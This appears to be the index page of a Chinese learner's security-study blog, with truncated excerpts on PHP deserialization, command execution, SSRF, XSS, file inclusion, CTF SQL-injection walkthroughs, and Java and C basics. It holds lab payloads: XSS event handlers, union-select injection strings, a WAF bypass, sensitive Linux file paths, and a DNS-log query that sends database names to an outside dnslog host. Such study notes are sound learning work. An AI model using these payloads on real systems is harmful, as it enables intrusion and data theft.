php反序列化
序列化直接将对象数据转化成字符串或者二进制内容。然后进行存储 反序列化将序列化之后的数据,重新转变为对象 对象在程序中运行时,他是内存中的一项数据。当程序运行结束之后,对象就会被回收,回收完,对象就没有了。 通过序列化将对象的状态,转变成一个具体的数据,保存到你的硬盘上 序列化过程,只保存了对象的数据。而对应的方法是没有保存的。 反序化漏洞当PHP应用程序接收到未经验证的用户输入,并将其传递给unserialize()函数时,就可能存在反序列化漏洞。攻击者可以通过精心构造的序列化数据来触发漏洞,从而在应用程序中执行任意代码或导致不良行为。 **简单来所就是:**通过控制 序列化之后的结果的值,实现控制程序运行时对象的变量的数据。从而实现攻击 攻击步骤 找到存在反序列化的传参点 找到存在高危操作的类 。将高危操作的类中的变量进行覆盖,从而实现危险函数的调用 魔术函数1234567891011121314151617181920212223242526__construct() 对象创建时被调用__destruct() 对象被销毁时调用__toString()...
zkaq-代码执行
命令执行漏洞用户传入的参数,会被当成系统指令来执行,指令内容用户可控 命令执行的危险函数123456system() => 直接执行系统指令,并且会打印出我们的结果exec() => 会执行指令,但是显示结果不会直接输出,结果只保留最后一行shell_exec() => 会执行指令,但是显示结果不会直接输出,保留多行结果`` => shell_exec() passthru() => 等价system()popen() 浏览器特殊协议(查看网页源码) view-source: exec()、shell_exec()等无回显代码,查看命令有无成功执行的技巧 123通过 > 符号,将结果输出到某个文件里面,结果覆盖保存 >> 将结果输出到某个文件里面,结果末尾追加 | 管道符,将前面的指令运行结果,当成后面指令的输入内容 没有回显时,怎么判断我们的指令有没有执行 dnslog.cn ...
java的学习日记
输出语句123System.out.println( "abc" );//先打印abc,再进行换行System. out.print( "abc" );//只打印abc,不换行System.out.println();//不打印任何数据,只做换行处理。 变量变量的定义格式 1数据类型 变量名 = 数据值; demo 12345678910111213public class VariableDemo1{ //主入口 public static void main(String[] args){ //定义变量 //数据类型 变量名 = 数据值; //数据类型:限定了变量能存储的数据类型 //int(整数) double(小数) //数据值:真正存在变量中的数据 //等号:赋值. int a = 10; System.out.println(a);//10 }} 变量的使用方式 输入打印 12int a =...
小知识
持续更新..linux系统中的一些文件1234/etc/passwd 存放用户名/etc/hosts 存放网卡信息,可以看ip/proc/net/arp 显示arp缓存表(寻找内网其他主机)/porc/net/fib_trie 显示当先网段的路由信息 linux中的一些日志文件12345678```# 常见的linux系统下环境变量的路径: /proc/1/environ /etc/profile /etc/profile.d/*.sh ~/.bash_profile ~/.bashrc /etc/bashrc 12345# 不同的两个数md5值相同 a=s1885207154a,b=s1836677006a 123# apache2日志文件路径 Apache日志位置 /usr/local/apache2/logs/
SSRF、
SSRF一、什么是SSRF?SSRF(service side request forgery)服务器请求伪造,是一种由攻击者形成 服务端发起的安全漏洞,本质上是属于信息泄露漏洞 二、SSRF的攻击方式攻击者借助主机A来发起SSRF攻击,通过主机A像主机B发起请求,从而获取主机B的一些信息。 三、SSRF支持哪些协议?Dict:// file:// sftp:// ldap:// gopher:// ftp:// http://...
zkaq—xss
一、什么是XSSxss漏洞允许攻击者将恶意脚本注入到网页中,当其他用户访问包含这些脚本的页面时,这些脚本将在用户的浏览器中执行 二、XSS注入本质XSS注入攻击的本质,是把用户输入的数据当做js代码执行。 三、XSS注入的关键条件 用户能控制输入 原本的程序要执行的代码,拼接了用户输入的数据 XSS是通过拼接合适的HTML代码去执行恶意的js语句 四、XSS类型 反射型XSS(一次性的) 存储型XSS(没有被删除就一直存在) DOM型XSS:DOM型XSS漏洞是一种特殊类型的XSS,是基于文档对象模型 Document Object Model (DOM)的一种漏洞。 反射型:靶场练习输入 1<script> alert(1) </script> 尖括号被编码 改用事件法 输入 1' onfocus=alert(1) // 存储性:靶场练习在所有可以进行输入的地方都插入弹窗语句,均未弹窗成功 观察到页面使用的是 1FineCMS公益软件 v5.3.0...
zkaq-include
说实话现在的状态真的是难受的一批,想睡又睡不着,闹钟浑浑噩噩的,索性从床上爬起来写一下刚学的题吧 题目文件包含 代码审计全局搜include 代码审计优先级,直接传参大于间接传参 所以跟进 index.php文件下的include $_REQUEST[‘target’]; 进行分析 12345(! empty($_REQUEST['target']) //这里判断传进来的参数是否是空的,若不是返回true && is_string($_REQUEST['target']) //这里判断参数是否是字符串,若是返回true && ! preg_match('/^index/', $_REQUEST['target']) //这里判断参数是否是index开头的,若不是则返回true && ! in_array($_REQUEST['target'],...
C语言笔记
标识符用来标识数据类型,变量,函数,语句的符号 类别 关键字 数据类型关键字 char,double,enum,float,int,long,short,signed,struct,union,unsigned,void 控制语句关键字 break,continue,case,do,default,else,for,goto,if,return,switch,while 存储类型关键字 auto,extern,register,static 其他关键字 const,sizeof,typedef,volatile 数据类型 常量和变量 常量:值一直不变的量 变量:值可以变化的量 变量定义格式 1类型说明符 变量名; eg: 1int variable; //定义一个整形变量 整形变量 short int 短整型 2 int 整型 4 long int 长整型 4 unsigned short 无符号短整型 2 unsigned int 无符号整型 4 unsigned...
CTF-show
WEB板块web签到题查看源码 base64解码 1ctfshow{6d8d8144-c200-4f8e-801c-23b7a1cd2403} web2用户名输入 1' or 1=1 -- a //成功登录 判断字段数 1234' or 1=1 order by 3 -- a //页面正常' or 1=1 order by 4 -- a //页面不正常 判断有3个字段 判断回显位 构造 1'or 1=2 union select 1,2,3 -- a //页面出现2,数字2处为回显位 爆库名 构造 1'or 1=2 union select 1,database(),3 -- a' 爆表名 构造 123'or 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 -- a'...
zkaq-数据库注入
MYSQL 注入 - Dns注入前置知识1.dnslog 1用来记录dns被解析的信息 2.dns注入思路 进行注入攻击时,页面无正常回显,使用第三方dnslog平台,通过记录dns解析的信息外带注入数据,将盲注转化成显错注入。 靶场实践判断是否存在注入攻击时遇到waf 使用参数污染进行绕过 构造 1id=2/*&id=1 and sleep(3) -- a*/ //页面延时响应,判断存在注入点 爆库名 构造 1id=2/*&id=1 and (select load_file(concat("\\\\",database(),".zlmwoy.dnslog.cn\\1.txt"))) -- a*/ 爆表名 构造 1234id=2/*&id=1 and (select load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema=database()...